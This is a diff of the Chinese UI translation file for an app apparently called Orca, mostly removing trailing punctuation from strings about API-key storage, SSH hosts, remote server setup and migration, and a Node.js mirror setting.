-          "keyTitle": "API key",
-          "keyDescription": "粘贴所选控制台 API Keys 页面中的 API key。保存在本地，系统支持时加密存储，并只发送到该站点用于用量刷新。",
+          "siteDescription": "选择你的 Coding Plan 所属控制台：国际站选 Z.AI，国内站选智谱 BigModel",
+          "keyTitle": "API 密钥",
+          "keyDescription": "粘贴所选控制台 API Keys 页面中的 API key，保存在本地，系统支持时加密存储，并只发送到该站点用于用量刷新",
           "saved": "已保存",
           "notSaved": "未保存",
           "keyPlaceholder": "粘贴你的 GLM Coding Plan API key",
           "replace": "替换",
           "save": "保存",
           "forgetKey": "清除 key",
-          "keyHelp": "与编码工具使用同一把套餐 key（例如 Claude Code 将 ANTHROPIC_BASE_URL 指向对应站点）。切换上方站点会变更接收该 key 的主机。",
+          "keyHelp": "与编码工具使用同一把套餐 key（例如 Claude Code 将 ANTHROPIC_BASE_URL 指向对应站点），切换上方站点会变更接收该 key 的主机",
           "usageTitle": "套餐用量",
-          "usageDescription": "已关联 Coding Plan 的实时配额窗口，随状态栏用量周期刷新。",
+          "usageDescription": "已关联 Coding Plan 的实时配额窗口，随状态栏用量周期刷新",
           "planLevel": "套餐：{{value0}}",
-          "hostOnly": "请在运行 Orca 的电脑上的桌面应用中更改套餐站点和 API 密钥。",
-          "detailsUnavailable": "计划凭据详细信息只能在运行 Orca 的计算机上读取。",
+          "hostOnly": "请在运行 Orca 的电脑上的桌面应用中更改套餐站点和 API 密钥",
+          "detailsUnavailable": "计划凭据详细信息只能在运行 Orca 的计算机上读取",
           "siteUnavailable": "主机计划网站不可用",
-          "keyStoredOnHostHelp": "保存在 {{host}}，刷新用量时仅从那里发送到所选站点。它优先于 ZCode CLI 登录。",
-          "usingCliOnHostHelp": "Orca 从 {{host}} 上的 ZCode CLI 凭据存储读取所选的 Coding Plan。在下方保存 API 密钥即可在那里关联该套餐。",
-          "notConfiguredOnHostHelp": "在下方保存套餐 API 密钥，或在 {{host}} 上使用 ZCode CLI 登录。",
-          "keyOnHostDescription": "从所选控制台的 API Keys 页面粘贴 API 密钥。保存在 {{host}}，刷新用量时仅从那里发送到该站点。"
+          "keyStoredOnHostHelp": "保存在 {{host}}，刷新用量时仅从那里发送到所选站点，它优先于 ZCode CLI 登录",
+          "usingCliOnHostHelp": "Orca 从 {{host}} 上的 ZCode CLI 凭据存储读取所选的 Coding Plan，在下方保存 API 密钥即可在那里关联该套餐",
+          "notConfiguredOnHostHelp": "在下方保存套餐 API 密钥，或在 {{host}} 上使用 ZCode CLI 登录",
+          "keyOnHostDescription": "从所选控制台的 API Keys 页面粘贴 API 密钥，保存在 {{host}}，刷新用量时仅从那里发送到该站点"
         },
         "NotificationHostToggles": {
           "offCount": "{{count}} 台已关闭",
           "machines": "机器",
-          "machinesDescription": "选择哪些机器可以在此电脑上显示通知。已配对服务器的开关也控制通过该服务器开展的工作。"
+          "machinesDescription": "选择哪些机器可以在此电脑上显示通知，已配对服务器的开关也控制通过该服务器开展的工作"
         },
         "UnsealedCredentialNotice": {
-          "body": "{{credential}} 未加密存储 — 该系统没有 Orca 可以使用的操作系统密钥环。任何可以读取您的磁盘或其备份的人都可以读取该凭据。安装并解锁 gnome-keyring 或 kwallet，然后再次保存以密封它。"
+          "body": "{{credential}} 未加密存储 — 该系统没有 Orca 可以使用的操作系统密钥环，任何可以读取您的磁盘或其备份的人都可以读取该凭据，安装并解锁 gnome-keyring 或 kwallet，然后再次保存以密封它"
         },
         "sshManagedHostRemove": {
-          "descriptionServerHost": "Orca 正在 {{label}} 上运行。在“远程 Orca 服务器”中打开 {{label}} 的 ⋯ 菜单，选择“停止…”以从主机移除 Orca；如果主机已不存在，则选择“忘记…”。之后即可移除此 SSH 主机。",
+          "descriptionServerHost": "Orca 正在 {{label}} 上运行，请在\"远程 Orca 服务器\"中打开 {{label}} 的 ⋯ 菜单，选择\"停止…\"从该主机移除 Orca，若主机已不存在则选择\"忘记…\"，之后即可移除此 SSH 主机",
           "2ca95e9fd7": "打开远程 Orca 服务器"
         },
         "managedServers": {
@@ -11977,7 +12285,7 @@
             "confirmStop": "停止并移除服务器",
             "keep": "保持运行",
             "stop": "停止…",
-            "deferredVersion": "已推迟更新到 {{version}}。",
+            "deferredVersion": "已推迟更新到 {{version}}",
             "confirmRestore": "恢复快照并重新启动",
             "keepState": "保留状态",
             "statusUnknown": "状态未知",
@@ -11985,15 +12293,15 @@
             "forget": "忘记…",
             "confirmForget": "在此桌面上忘记",
             "keepLinked": "保持关联",
-            "forgetDescription": "在此处取消关联此服务器，而不联系其主机。如果主机恢复，服务器可能仍在那里运行。",
+            "forgetDescription": "在此处取消关联此服务器，而不联系其主机，如果主机恢复，服务器可能仍在那里运行",
             "orcaVersion": "此主机上的 Orca：{{version}}",
-            "stopOrcaDescription": "停止 SSH 主机上的 Orca，并将其从此列表中移除。",
+            "stopOrcaDescription": "停止 SSH 主机上的 Orca，并将其从此列表中移除",
             "updateOrcaOnHost": "更新此主机上的 Orca",
             "updateAnyway": "仍然更新",
             "notNow": "暂不",
-            "forceUpdate": "此主机上有终端正在运行。更新期间它们会继续运行，Orca 服务器重启后其窗格会重新连接。"
+            "forceUpdate": "此主机上有终端正在运行。更新期间它们会继续运行，Orca 服务器重启后其窗格会重新连接"
           },
-          "description": "Orca 会将自身安装到空的 SSH 主机上，并自动保持最新。",
+          "description": "Orca 会将自身安装到空的 SSH 主机上，并自动保持最新",
           "deploy": {
             "host": "SSH 主机",
             "name": "服务器名称"
@@ -12005,11 +12313,11 @@
             "unlink": "停止使用 SSH",
             "port": "服务器端口",
             "linking": "正在连接…",
-            "pendingLink": "通过 SSH 连接未完成。",
-            "pendingUnlink": "停止 SSH 访问未完成。",
+            "pendingLink": "通过 SSH 连接未完成",
+            "pendingUnlink": "停止 SSH 访问未完成",
             "retry": "重试",
             "cancelLink": "取消",
-            "linkedRoute": "通过 {{host}} 访问，服务器端口 {{port}}。",
+            "linkedRoute": "通过 {{host}} 访问，服务器端口 {{port}}",
             "connect": "连接",
             "chooseHost": "选择主机"
           },
@@ -12034,13 +12342,13 @@
             "count": "正在运行的终端：{{count}}"
           },
           "blocker": {
-            "notFound": "该 SSH 主机已不存在。",
-            "owned": "Orca 已在此 SSH 主机上运行。",
-            "catalog": "此主机上的项目尚无法迁移。",
-            "terminals": "此主机上的终端仍在运行（{{count}}）。请先关闭它们。",
-            "portForwards": "已保存的端口转发会保留在 SSH 主机上。",
-            "dependents": "尚无法迁移的状态：{{kinds}}。",
-            "unverifiable": "Orca 无法读取其保存的 {{sources}}，因此无法确定将迁移哪些内容。"
+            "notFound": "该 SSH 主机已不存在",
+            "owned": "Orca 已在此 SSH 主机上运行",
+            "catalog": "此主机上的项目尚无法迁移",
+            "terminals": "此主机上的终端仍在运行（{{count}}），请先关闭它们",
+            "portForwards": "已保存的端口转发会保留在 SSH 主机上",
+            "dependents": "尚无法迁移的状态：{{kinds}}",
+            "unverifiable": "Orca 无法读取其保存的 {{sources}}，因此无法确定将迁移哪些内容"
           },
           "kind": {
             "portForward": "端口转发",
@@ -12057,27 +12365,27 @@
             "mobileTabSelection": "移动端选项卡选择",
             "uiRouting": "侧边栏和筛选设置"
           },
-          "loadFailed": "Orca 无法加载 SSH 主机和未完成的迁移。请重新打开设置以重试。",
+          "loadFailed": "Orca 无法加载 SSH 主机和未完成的迁移，请重新打开设置以重试",
           "outcome": {
-            "live": "未完成：此服务器上的终端仍在运行。请关闭它们后重试。",
-            "unverifiable": "未完成：Orca 无法确认此服务器上正在运行什么。请在主机可访问时重试。",
-            "migration": "未完成：迁移到此服务器的操作尚未完成。请先继续该操作。",
-            "deferred": "尚未完成：服务器尚未准备好执行此操作。请稍后重试。",
-            "failed": "Orca 无法在服务器上完成此操作。请重试。",
-            "defaultServer": "未执行：此服务器是新项目的默认主机。停止前请在“新项目打开位置”中选择其他主机。",
-            "wslMoveRunning": "未完成：有项目正在移到此服务器上。移动完成后，Orca 会更新它。"
+            "live": "未完成：此服务器上的终端仍在运行，请关闭它们后重试",
+            "unverifiable": "未完成：Orca 无法确认此服务器上正在运行什么，请在主机可访问时重试",
+            "migration": "未完成：迁移到此服务器的操作尚未完成，请先继续该操作",
+            "deferred": "尚未完成：服务器尚未准备好执行此操作，请稍后重试",
+            "failed": "Orca 无法在服务器上完成此操作，请重试",
+            "defaultServer": "未执行：此服务器是新项目的默认主机，停止前请在“新项目打开位置”中选择其他主机",
+            "wslMoveRunning": "未完成：有项目正在移到此服务器上。移动完成后，Orca 会更新它"
           },
-          "reassurance": "在各个主机上运行，通过你自己的 SSH 连接访问。你的代码和文件留在原处。只有 Orca 的项目、标签页和终端列表会移到该主机。"
+          "reassurance": "在各个主机上运行，通过你自己的 SSH 连接访问，你的代码和文件留在原处，只有 Orca 的项目、标签页和终端列表会移到该主机"
         },
         "sshHostServer": {
-          "sourceChanged": "此计算机上有此主机的 Orca 服务器尚未包含的项目或文件夹，通常是由较旧版本的 Orca 添加的。要重新连接，请将它们迁移到此主机上的 Orca 服务器，或保留服务器版本。",
+          "sourceChanged": "此计算机上有此主机的 Orca 服务器尚未包含的项目或文件夹，通常是由较旧版本的 Orca 添加的。要重新连接，请将它们迁移到此主机上的 Orca 服务器，或保留服务器版本",
           "deploying": "正在 {{host}} 上设置 Orca…",
           "converting": "正在迁移到 {{host}} 上的 Orca…",
           "connecting": "正在连接到 {{host}} 上的 Orca…",
           "updating": "正在更新 {{host}} 上的 Orca…",
           "starting": "正在启动 {{host}} 上的 Orca…",
-          "notServing": "Orca 无法确认其在 {{host}} 上的服务器是否正在响应。",
-          "hostNewer": "运行的 Orca 服务器比此应用新；它会保留该版本。",
+          "notServing": "Orca 无法确认其在 {{host}} 上的服务器是否正在响应",
+          "hostNewer": "运行的 Orca 服务器比此应用新，它会保留该版本",
           "failureDetails": "详情",
           "cause": {
             "unsupportedHost": "Orca 没有适用于此系统的服务器构建",
@@ -12087,48 +12395,50 @@
             "securitySoftware": "安全软件更改了服务器的运行时",
             "nativePreflight": "主机缺少服务器所需的系统库"
           },
-          "updateDeferredLater": "运行 Orca 服务器；它会在下次连接时更新。",
-          "updateFailedPrevious": "在其先前版本上运行 Orca 服务器；更新失败。",
-          "refusedBlocked": "此主机尚未设置 Orca：主机上的某些因素阻止了迁移。",
-          "unsupported": "此版本的 Orca 不支持此主机（{{reason}}）。如需继续使用，请安装旧版本的 Orca。",
-          "unsupportedUnknown": "此版本的 Orca 不支持此主机。如需继续使用，请安装旧版本的 Orca。",
-          "tunnelUnsupported": "此版本的 Orca 不支持此主机：其 SSH 服务器不允许端口转发，Orca 也无法通过 SSH 会话连接到其服务器。如需继续使用，请安装旧版本的 Orca。",
-          "setupRetry": "Orca 无法在此主机上启动其服务器。请重新连接。",
-          "moveHeld": "由于无法确认服务器上的副本，Orca 已暂停将此主机的项目迁移到主机上的 Orca 服务器。没有任何数据丢失：在迁移完成之前，主机会保留其项目并保持锁定。重新连接即可继续。如果服务器无法恢复，请在“设置 > SSH 主机上的 Orca”中停止或忘记它。",
-          "olderTerminalsBridged": "此主机尚未设置 Orca：由旧版本 Orca 启动的终端仍在此主机的项目中运行。它们在这里仍可正常使用。请关闭它们或在主机上结束它们，然后重新连接。",
-          "olderTerminalsUncounted": "由旧版本 Orca 启动的终端仍在此主机上运行，且不会自行停止。请在该版本的 Orca 中关闭它们，或在主机上结束它们，然后重新连接。",
-          "olderTerminalsUnverifiable": "Orca 无法确认由旧版本 Orca 启动的终端是否已退出。请重新连接后重试。",
-          "olderTerminals_one": "由旧版本 Orca 启动的 {{count}} 个终端仍在此主机上运行，且不会自行停止。请在该版本的 Orca 中关闭它们，或在主机上结束它们，然后重新连接。",
-          "olderTerminals_other": "由旧版本 Orca 启动的 {{count}} 个终端仍在此主机上运行，且不会自行停止。请在该版本的 Orca 中关闭它们，或在主机上结束它们，然后重新连接。",
-          "linkedProjects_one": "此主机的 Orca 服务器已有 {{paths}}，因此此桌面现在使用服务器的副本。此桌面在那里的标签页和 {{count}} 个自动化未被迁移，它在那里创建的工作树会显示为外部工作树。",
-          "linkedProjects_other": "此主机的 Orca 服务器已有 {{paths}}，因此此桌面现在使用服务器的副本。此桌面在那里的标签页和 {{count}} 个自动化未被迁移，它在那里创建的工作树会显示为外部工作树。",
-          "linkedProjectsNoAutomations": "此主机的 Orca 服务器已有 {{paths}}，因此此桌面现在使用服务器的副本。此桌面在那里的标签页未被迁移，它在那里创建的工作树会显示为外部工作树。",
-          "automationsLeftDisabled_one": "此主机上的 Orca 服务器接管了 {{count}} 个自动化任务，但无法重新启用。请在“自动化”中开启。",
-          "automationsLeftDisabled_other": "此主机上的 Orca 服务器接管了 {{count}} 个自动化任务，但无法重新启用。请在“自动化”中开启。",
-          "nodeDownloadBlocked": "这台电脑和这台主机都无法下载 Orca 服务器所需的 Node.js。请使用 Node.js 镜像，或检查两台机器的网络。",
-          "nodeDownloadBlockedNoMirror": "这台电脑和这台主机都无法下载 Orca 服务器所需的 Node.js。请检查两台机器的网络或代理，然后重新连接。",
-          "nodeDownloadBlockedMirrorTried": "这台电脑和这台主机都无法下载 Node.js，包括从 Node.js 下载镜像下载。请检查镜像设置，然后重新连接。",
-          "reassurance": "在 {{host}} 上运行，通过你自己的 SSH 连接访问。你的代码和文件留在原处。只有 Orca 的项目、标签页和终端列表会移到 {{host}}。",
-          "launchSessionEnded": "启动此主机上 Orca 服务器的 SSH 会话已结束，因此这台 Mac 上的终端可能已失去本地网络访问权限。重启 Orca 服务器即可恢复。",
-          "behindRolledBack": "运行的 Orca 服务器比此应用旧；上次更新已回滚。请使用“更新服务器”重试。",
-          "behindNoTemplate": "运行的 Orca 服务器无法由此应用更新；此版本没有适用于此主机的服务器。",
-          "behindMigrating": "运行 Orca 服务器，它会在项目迁移完成后更新。",
-          "behindCheckFailed": "运行 Orca 服务器；Orca 无法检查它是否落后于此应用。",
+          "updateDeferredLater": "运行 Orca 服务器，它会在下次连接时更新",
+          "updateFailedPrevious": "在其先前版本上运行 Orca 服务器，更新失败",
+          "refusedBlocked": "此主机尚未设置 Orca：主机上的某些因素阻止了迁移",
+          "unsupported": "此版本的 Orca 不支持此主机（{{reason}}），如需继续使用，请安装旧版本的 Orca",
+          "unsupportedUnknown": "此版本的 Orca 不支持此主机，如需继续使用，请安装旧版本的 Orca",
+          "tunnelUnsupported": "此版本的 Orca 不支持此主机：其 SSH 服务器不允许端口转发，Orca 也无法通过 SSH 会话连接到其服务器，如需继续使用，请安装旧版本的 Orca",
+          "setupRetry": "Orca 无法在此主机上启动其服务器，请重新连接",
+          "moveHeld": "由于无法确认服务器上的副本，Orca 已暂停将此主机的项目迁移到主机上的 Orca 服务器，没有任何数据丢失：在迁移完成之前，主机会保留其项目并保持锁定，重新连接即可继续，如果服务器无法恢复，请在“设置 > SSH 主机上的 Orca”中停止或忘记它",
+          "olderTerminalsBridged": "此主机尚未设置 Orca：由旧版本 Orca 启动的终端仍在此主机的项目中运行，它们在这里仍可正常使用，请关闭它们或在主机上结束它们，然后重新连接",
+          "olderTerminalsUncounted": "由旧版本 Orca 启动的终端仍在此主机上运行，且不会自行停止，请在该版本的 Orca 中关闭它们，或在主机上结束它们，然后重新连接",
+          "olderTerminalsUnverifiable": "Orca 无法确认由旧版本 Orca 启动的终端是否已退出，请重新连接后重试",
+          "olderTerminals_one": "由旧版本 Orca 启动的 {{count}} 个终端仍在此主机上运行，且不会自行停止，请在该版本的 Orca 中关闭它们，或在主机上结束它们，然后重新连接",
+          "olderTerminals_other": "由旧版本 Orca 启动的 {{count}} 个终端仍在此主机上运行，且不会自行停止，请在该版本的 Orca 中关闭它们，或在主机上结束它们，然后重新连接",
+          "linkedProjects_one": "此主机的 Orca 服务器已有 {{paths}}，因此此桌面现在使用服务器的副本，此桌面在那里的标签页和 {{count}} 个自动化未被迁移，它在那里创建的工作树会显示为外部工作树",
+          "linkedProjects_other": "此主机的 Orca 服务器已有 {{paths}}，因此此桌面现在使用服务器的副本，此桌面在那里的标签页和 {{count}} 个自动化未被迁移，它在那里创建的工作树会显示为外部工作树",
+          "linkedProjectsNoAutomations": "此主机的 Orca 服务器已有 {{paths}}，因此此桌面现在使用服务器的副本，此桌面在那里的标签页未被迁移，它在那里创建的工作树会显示为外部工作树",
+          "automationsLeftDisabled_one": "此主机上的 Orca 服务器接管了 {{count}} 个自动化任务，但无法重新启用。请在“自动化”中开启",
+          "automationsLeftDisabled_other": "此主机上的 Orca 服务器接管了 {{count}} 个自动化任务，但无法重新启用。请在“自动化”中开启",
+          "nodeDownloadBlocked": "这台电脑和这台主机都无法下载 Orca 服务器所需的 Node.js，请使用 Node.js 镜像，或检查两台机器的网络",
+          "nodeDownloadBlockedNoMirror": "这台电脑和这台主机都无法下载 Orca 服务器所需的 Node.js，请检查两台机器的网络或代理，然后重新连接",
+          "nodeDownloadBlockedMirrorTried": "这台电脑和这台主机都无法下载 Node.js，包括从 Node.js 下载镜像下载，请检查镜像设置，然后重新连接",
+          "reassurance": "在 {{host}} 上运行，通过你自己的 SSH 连接访问，你的代码和文件留在原处，只有 Orca 的项目、标签页和终端列表会移到 {{host}}",
+          "launchSessionEnded": "启动此主机上 Orca 服务器的 SSH 会话已结束，因此这台 Mac 上的终端可能已失去本地网络访问权限，重启 Orca 服务器即可恢复",
+          "behindRolledBack": "运行的 Orca 服务器比此应用旧，上次更新已回滚，请使用“更新服务器”重试",
+          "behindNoTemplate": "运行的 Orca 服务器无法由此应用更新，此版本没有适用于此主机的服务器",
+          "behindMigrating": "运行 Orca 服务器，它会在项目迁移完成后更新",
+          "behindCheckFailed": "运行 Orca 服务器，Orca 无法检查它是否落后于此应用",
           "refusedBlockedReason": "此主机尚未设置 Orca。{{reason}}",
-          "refusedLeaveBehind": "此主机的部分已保存项目无法移到其 Orca 服务器：{{items}}。“仍要迁移”会连接此主机，并将这些项目保留在这台电脑上。",
-          "refusedLeaveBehindUnnamed": "此主机的部分已保存项目无法移到其 Orca 服务器。“仍要迁移”会连接此主机，并将这些项目保留在这台电脑上。",
-          "windowsBuildUnsupported": "此主机运行的 Windows 版本低于 Windows 10 和 Windows Server 2016，无法运行 Orca 的服务器。请使用 Windows 版本较新的主机，或 Linux、macOS 主机。",
-          "windowsNoExtractor": "此 Windows 主机上既没有 tar.exe 也没有 PowerShell 的 Expand-Archive，Orca 无法在其中解包服务器。请先在主机上安装 Windows PowerShell 5.1，然后重新连接。",
-          "runtimeNoexec": "此主机不允许执行 ~/.orca-remote 中的程序，因此 Orca 无法在那里启动服务器。这通常是因为主目录以 noexec 选项挂载。请联系主机管理员，允许在该目录中执行程序，然后重新连接。",
-          "setupContactLost": "Orca 在设置服务器时失去了与此主机的联系。主机上没有任何进程被停止。请重新连接以继续。"
+          "refusedLeaveBehind": "此主机的部分已保存项目无法移到其 Orca 服务器：{{items}}。“仍要迁移”会连接此主机，并将这些项目保留在这台电脑上",
+          "refusedLeaveBehindUnnamed": "此主机的部分已保存项目无法移到其 Orca 服务器。“仍要迁移”会连接此主机，并将这些项目保留在这台电脑上",
+          "windowsBuildUnsupported": "此主机运行的 Windows 版本低于 Windows 10 和 Windows Server 2016，无法运行 Orca 的服务器。请使用 Windows 版本较新的主机，或 Linux、macOS 主机",
+          "windowsNoExtractor": "此 Windows 主机上既没有 tar.exe 也没有 PowerShell 的 Expand-Archive，Orca 无法在其中解包服务器。请先在主机上安装 Windows PowerShell 5.1，然后重新连接",
+          "runtimeNoexec": "此主机不允许从 ~/.orca-remote 运行程序，Orca 无法在那里启动服务器，这通常意味着主目录以 noexec 方式挂载，请联系主机管理员允许在该目录运行程序，然后重新连接",
+          "setupContactLost": "Orca 在设置服务器时与此主机失去联系，主机上的任何内容都未被停止，请重新连接以继续",
+          "linkedProjects": "此主机的 Orca 服务器已有 {{paths}}，因此此桌面现在使用服务器的副本，此桌面在那里的标签页和 {{count}} 个自动化未被迁移，它在那里创建的工作树会显示为外部工作树",
+          "olderTerminals": "由旧版本 Orca 启动的 {{count}} 个终端仍在此主机上运行，且不会自行停止，请在该版本的 Orca 中关闭它们，或在主机上结束它们，然后重新连接"
         },
         "deltaMove": {
           "action": "迁移新项目…",
           "title": "迁移新项目",
-          "description": "此主机的项目迁移到主机上的 Orca 服务器后，较旧版本的 Orca 又更改了此主机。这会将它所创建的内容添加到服务器；绝不会覆盖服务器已有的内容。",
+          "description": "此主机的项目迁移到主机上的 Orca 服务器后，较旧版本的 Orca 又更改了此主机，这会将它所创建的内容添加到服务器，绝不会覆盖服务器已有的内容",
           "added": "已添加到服务器",
-          "nothingNew": "没有可添加的新内容。",
-          "notReflected": "在较旧版本上已更改或移除；服务器会保留自己的副本",
+          "nothingNew": "没有可添加的新内容",
+          "notReflected": "在较旧版本上已更改或移除，服务器会保留自己的副本",
           "cancel": "取消",
           "confirm": "迁移新项目",
           "kind": {
@@ -12140,26 +12450,26 @@
         "keepServer": {
           "action": "保留服务器的版本…",
           "title": "保留服务器的版本",
-          "description": "此主机将按原样继续使用其 Orca 服务器。较旧版本的 Orca 在此处添加或更改的内容不会被迁移；它们只会保留在这台电脑保存的设置中，直到被清理。",
+          "description": "此主机将按原样继续使用其 Orca 服务器，较旧版本的 Orca 在此处添加或更改的内容不会被迁移，它们只会保留在这台电脑保存的设置中，直到被清理",
           "cancel": "取消",
           "confirm": "保留服务器的版本"
         },
         "moveAnyway": {
           "action": "仍要迁移…",
           "title": "仍要迁移此主机",
-          "description": "Orca 会在 {{host}} 上完成设置，但不包含下列已保存的项目。它们会保留在这台电脑上，不会出现在 {{host}} 上。未保存的编辑会被保留，绝不会被删除。",
+          "description": "Orca 会在 {{host}} 上完成设置，但不包含下列已保存的项目，它们会保留在这台电脑上，不会出现在 {{host}} 上，未保存的编辑会被保留，绝不会被删除",
           "cancel": "取消",
           "confirm": "仍要迁移"
         },
         "SettingsHostScopePicker": {
           "label": "主机",
           "unavailable": "{{value0}}（不可用）",
-          "unavailableNotice": "此服务器已不再被保存，因此无法显示它的任何内容。请在设置顶部选择其他主机。"
+          "unavailableNotice": "此服务器已不再被保存，因此无法显示它的任何内容，请在设置顶部选择其他主机"
         },
         "wslHostsExperimental": {
           "toggleLabel": "切换“WSL 发行版作为主机”",
           "title": "WSL 发行版作为主机",
-          "description": "将 WSL 2 发行版添加为主机。Orca 在发行版内运行其服务器，因此其中新项目里的 git、文件和终端都在 Linux 中原生运行。",
+          "description": "将 WSL 2 发行版添加为主机，Orca 在发行版内运行其服务器，因此其中新项目里的 git、文件和终端都在 Linux 中原生运行",
           "keywordWsl": "wsl",
           "keywordLinux": "linux",
           "keywordDistro": "发行版"
@@ -12179,47 +12489,47 @@
           "submit": "Re-pair",
           "success": "Re-paired with {{name}}",
           "failed": "Re-pair failed",
-          "descriptionShareComputer": "{{name}} 不再接受此电脑。请在 {{name}} 上打开 设置 → 远程 Orca 服务器 → 共享此电脑，为另一个 Orca 创建链接，然后粘贴到这里。"
+          "descriptionShareComputer": "{{name}} 不再接受此电脑，请在 {{name}} 上打开 设置 → 远程 Orca 服务器 → 共享此电脑，为另一个 Orca 创建链接，然后粘贴到这里"
         },
         "usageCredentialHost": {
-          "outdated": "请更新 {{host}} 上的 Orca，才能将此密钥保存在那里。",
-          "unreachable": "无法连接 {{host}}，因此不确定那里是否已保存密钥。",
+          "outdated": "请更新 {{host}} 上的 Orca，才能将此密钥保存在那里",
+          "unreachable": "无法连接 {{host}}，因此不确定那里是否已保存密钥",
           "storedOnHost": "已保存在 {{host}}",
-          "miniMaxStorage": "保存在 {{host}}，并在刷新用量时从那里发送到所选的 MiniMax 端点。",
-          "cookieNeedsDesktop": "{{host}} 上没有可发送会话 Cookie 的 Orca 桌面应用。请改为保存 API 密钥。",
+          "miniMaxStorage": "保存在 {{host}}，并在刷新用量时从那里发送到所选的 MiniMax 端点",
+          "cookieNeedsDesktop": "{{host}} 上没有可发送会话 Cookie 的 Orca 桌面应用，请改为保存 API 密钥",
           "checking": "正在检查 {{host}}…",
-          "sealedElsewhereForgettable": "由 {{host}} 上的另一个 Orca 应用保存，此应用无法读取。请在该应用中更改，或在此处忘记它。",
-          "unreadableKey": "{{host}} 上的 Orca 无法读取已保存的密钥。请替换或忘记它。",
-          "miniMaxApiKeyDescription": "从 MiniMax 控制台 → API keys 粘贴 API 密钥。保存在 {{host}}，并在刷新用量时从那里发送到所选的 MiniMax 端点。API 密钥优先于 Cookie。"
+          "sealedElsewhereForgettable": "由 {{host}} 上的另一个 Orca 应用保存，此应用无法读取，请在该应用中更改，或在此处忘记它",
+          "unreadableKey": "{{host}} 上的 Orca 无法读取已保存的密钥，请替换或忘记它",
+          "miniMaxApiKeyDescription": "从 MiniMax 控制台 → API keys 粘贴 API 密钥，保存在 {{host}}，并在刷新用量时从那里发送到所选的 MiniMax 端点，API 密钥优先于 Cookie"
         },
         "useUsageHostSettings": {
-          "updateFailed": "无法更新 {{host}} 上的设置。"
+          "updateFailed": "无法更新 {{host}} 上的设置"
         },
         "nodeDistMirrorDialog": {
           "action": "使用 Node.js 镜像…",
           "openSetting": "打开镜像设置",
           "title": "使用 Node.js 镜像",
-          "description": "Orca 服务器需要 Node.js，但这台电脑和这台主机都无法从 nodejs.org 下载。镜像是 nodejs.org/dist 的副本，Orca 会在两台机器上优先尝试镜像。",
+          "description": "Orca 服务器需要 Node.js，但这台电脑和这台主机都无法从 nodejs.org 下载，镜像是 nodejs.org/dist 的副本，Orca 会在两台机器上优先尝试镜像",
           "urlLabel": "镜像 URL",
-          "checksum": "每次下载仍会按 Orca 为此 Node.js 版本固定的校验和进行验证。保存在 设置 > 高级 > 网络 中。",
+          "checksum": "每次下载仍会按 Orca 为此 Node.js 版本固定的校验和进行验证，保存在 设置 > 高级 > 网络 中",
           "cancel": "取消",
           "save": "保存并重试",
-          "saveFailed": "Orca 无法保存镜像。",
+          "saveFailed": "Orca 无法保存镜像",
           "retryFailed": "连接失败",
           "refusal": {
-            "tooLong": "镜像 URL 过长。",
-            "protocol": "请使用 http 或 https 镜像 URL。",
-            "credentials": "镜像 URL 不能包含用户名或密码。",
-            "query": "镜像 URL 不能包含查询或片段。",
-            "invalid": "请输入有效的镜像 URL。"
+            "tooLong": "镜像 URL 过长",
+            "protocol": "请使用 http 或 https 镜像 URL",
+            "credentials": "镜像 URL 不能包含用户名或密码",
+            "query": "镜像 URL 不能包含查询或片段",
+            "invalid": "请输入有效的镜像 URL"
           }
         },
         "restartServer": {
           "action": "重启 Orca 服务器…",
           "title": "重启 Orca 服务器",
-          "description": "Orca 会通过你当前的连接重启此主机上的 Orca 服务器。只有在主机上没有正在运行的终端时才会重启，因为仍然打开的终端会一直无法访问。请先关闭它们。",
-          "terminalsUnknown": "Orca 无法确认此主机上是否有终端正在运行，因此没有重启 Orca 服务器。",
-          "terminalsRunning": "此主机上仍有 {{count}} 个终端在运行。请关闭它们，然后重启 Orca 服务器。",
+          "description": "Orca 会通过你当前的连接重启此主机上的 Orca 服务器，只有在主机上没有正在运行的终端时才会重启，因为仍然打开的终端会一直无法访问，请先关闭它们",
+          "terminalsUnknown": "Orca 无法确认此主机上是否有终端正在运行，因此没有重启 Orca 服务器",
+          "terminalsRunning": "此主机上仍有 {{count}} 个终端在运行，请关闭它们，然后重启 Orca 服务器",
           "cancel": "取消",
           "confirm": "重启"
         },
@@ -12244,8 +12554,8 @@
         },
         "SshRestoreRemovedHosts": {
           "title": "恢复已移除的主机？",
-          "description": "你在 Orca 中移除的 ~/.ssh/config 主机将重新出现在设置和所有主机选择器中。",
-          "none": "没有在 Orca 中移除且可恢复的 ~/.ssh/config 主机。",
+          "description": "你在 Orca 中移除的 ~/.ssh/config 主机将重新出现在设置和所有主机选择器中",
+          "none": "没有从 ~/.ssh/config 移除的主机",
           "confirm": "恢复"
         },
         "SshTargetList": {
@@ -12259,9 +12569,9 @@
           "removedCount": "已移除 {{count}} 个",
           "skippedCount": "已跳过 {{count}} 个",
           "failedCount": "{{count}} 个失败",
-          "skippedManaged": "{{label}} 上有 Orca 服务器。",
-          "skippedWorkspaces": "{{label}} 上有工作区。",
-          "skippedHint": "请逐个移除已跳过的主机，以选择如何处理它们。"
+          "skippedManaged": "{{label}} 上有 Orca 服务器",
+          "skippedWorkspaces": "{{label}} 上有工作区",
+          "skippedHint": "请逐个移除已跳过的主机，以选择如何处理它们"
         },
         "sshBulkTest": {
           "passed": "{{count}} 个可连接",
@@ -12270,8 +12580,8 @@
         },
         "serverList": {
           "addTitle": "添加服务器",
-          "installNoHosts": "没有未安装 Orca 服务器的 SSH 主机。",
-          "installHostHelp": "仅显示未安装 Orca 服务器的主机。",
+          "installNoHosts": "没有未安装 Orca 服务器的 SSH 主机",
+          "installHostHelp": "仅显示未安装 Orca 服务器的主机",
           "addSshHost": "添加 SSH 主机",
           "cancel": "取消",
           "moreActions": "{{name}} 的更多操作",
@@ -12283,7 +12593,7 @@
           "protocol": "协议",
           "capabilities": "功能",
           "copied": "已复制错误",
-          "copyFailed": "无法复制错误。",
+          "copyFailed": "无法复制错误",
           "copyError": "复制错误",
           "updateMenu": "更新…",
           "makeDefault": "在此打开新项目",
@@ -12301,35 +12611,35 @@
           "defaultChip": "默认",
           "sshTunnelChip": "SSH 隧道",
           "sshDialogTitle": "通过 SSH 连接 {{name}}",
-          "sshDialogDescription": "当无法直接访问服务器时使用。Orca 会通过 SSH 主机打开隧道。",
+          "sshDialogDescription": "当无法直接访问服务器时使用，Orca 会通过 SSH 主机打开隧道",
           "defaultHostLabel": "新项目打开位置",
           "thisComputer": "此电脑",
-          "defaultHostHelp": "现有项目保持不变。",
-          "defaultHostWebHelp": "此浏览器会在所选服务器上打开新项目。",
+          "defaultHostHelp": "现有项目保持不变",
